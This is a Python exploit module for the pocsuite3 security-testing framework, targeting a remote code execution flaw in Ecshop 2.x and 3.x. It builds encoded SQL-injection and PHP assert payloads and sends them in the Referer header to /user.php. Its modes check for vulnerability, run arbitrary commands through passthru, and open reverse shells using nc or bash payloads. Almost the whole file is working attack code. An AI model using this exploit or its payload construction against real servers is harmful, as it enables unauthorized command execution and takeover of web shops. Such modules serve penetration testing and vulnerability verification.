"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import base64
import binascii
from collections import OrderedDict
from urllib.parse import urljoin

from requests.exceptions import ReadTimeout

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptString, OptItems, \
    OptDict, VUL_TYPE
from pocsuite3.lib.utils import get_middle_text


class DemoPOC(POCBase):
    vulID = '97343'  # ssvid
    version = '3.0'
    author = ['seebug']
    vulDate = '2018-06-14'
    createDate = '2018-06-14'
    updateDate = '2018-06-14'
    references = ['https://www.seebug.org/vuldb/ssvid-97343']
    name = 'Ecshop 2.x/3.x Remote Code Execution'
    appPowerLink = ''
    appName = 'ECSHOP'
    appVersion = '2.x,3.x'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''近日，Ecshop爆出全版本SQL注入及任意代码执行漏洞，受影响的版本有：Ecshop 2.x,Ecshop 3.x-3.6.0'''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    pocDesc = '''在攻击模式下，可以通过command参数来指定任意命令,app_version用于选定ecshop版本'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description='攻击时自定义命令')
        o["app_version"] = OptItems(['2.x', '3.x', 'Auto'], selected="Auto", description='目标版本，可自动匹配')
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["payload"] = OptDict(default=payload, selected="bash")
        return o

    def gen_ec2payload(self, phpcode):
        # ECShop 2.x payload
        encoded_code = base64.b64encode(phpcode.encode())

        payload = """{$asd'];assert(base64_decode('%s'));//}xxx""" % (
            encoded_code.decode())
        payload = binascii.hexlify(payload.encode()).decode()
        payload = '*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x{},10-- -'.format(payload)
        payload = '''554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:%s:"%s";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca''' % (
            len(payload), payload)
        return payload

    def gen_ec3payload(self, phpcode):
        # ECShop 3.x payload
        encoded_code = base64.b64encode(phpcode.encode())

        payload = "{$asd'];assert(base64_decode('%s'));//}xxx" % (
            encoded_code.decode())

        payload = binascii.hexlify(payload.encode()).decode()
        payload = '*/ select 1,0x2720756e696f6e202f2a,3,4,5,6,7,8,0x{},10-- -'.format(payload)
        payload = '45ea207d7a2b68c49582d2d22adf953aads|a:2:{{s:3:"num";s:{}:"{}";s:2:"id";s:10:"\' union /*";}}'.format(
            len(payload), payload)
        return payload

    def _verify(self):
        result = {}
        url = urljoin(self.url, '/user.php?act=login')
        phpcode = "phpinfo()"
        flagText = "allow_url_include"

        # ECShop 2.x payload
        ec2payload = self.gen_ec2payload(phpcode)
        # ECShop 3.x payload
        ec3payload = self.gen_ec3payload(phpcode)

        option = self.get_option("app_version")

        if option == "Auto":
            payloads = [(ec2payload, '2.x'), (ec3payload, '3.x')]
        elif option == "2.x":
            payloads = [(ec2payload, '2.x')]
        elif option == '3.x':
            payloads = [(ec3payload, '3.x')]

        for payload, version in payloads:
            headers = {'Referer': payload}
            try:
                rr = requests.get(url, headers=headers)
                if flagText in rr.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url
                    result['VerifyInfo']['Version'] = version
                    break
            except ReadTimeout:
                break
            except Exception as e:
                pass

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        cmd = self.get_option("command")
        result = dict()
        result['Stdout'] = self._exploit(cmd)

        return self.parse_output(result)

    def _shell(self):
        cmd = self.get_option("payload")
        self._exploit(cmd)

    def _exploit(self, cmd='whoami'):
        url = urljoin(self.url, '/user.php?act=login')

        phpcode = 'passthru("{0}");'.format(cmd)

        # ECShop 2.x payload
        ec2payload = self.gen_ec2payload(phpcode)
        # ECShop 3.x payload

        ec3payload = self.gen_ec3payload(phpcode)
        option = self.get_option("app_version")
        if option == "Auto":
            payloads = [(ec2payload, '2.x'), (ec3payload, '3.x')]
        elif option == "2.x":
            payloads = [(ec2payload, '2.x')]
        elif option == '3.x':
            payloads = [(ec3payload, '3.x')]
        # payloads = [ec2payload, ec3payload]

        for payload in payloads:
            headers = {'Referer': payload[0]}
            resp = requests.get(url, headers=headers)
            r = get_middle_text(resp.text, '''<input type="hidden" name="back_act" value="''', "\n<br />")
            if r:
                return r
            r = get_middle_text(resp.text, '''<input type="hidden" name="back_act" value="''', 'xxx')
            if r:
                return r


register_poc(DemoPOC)
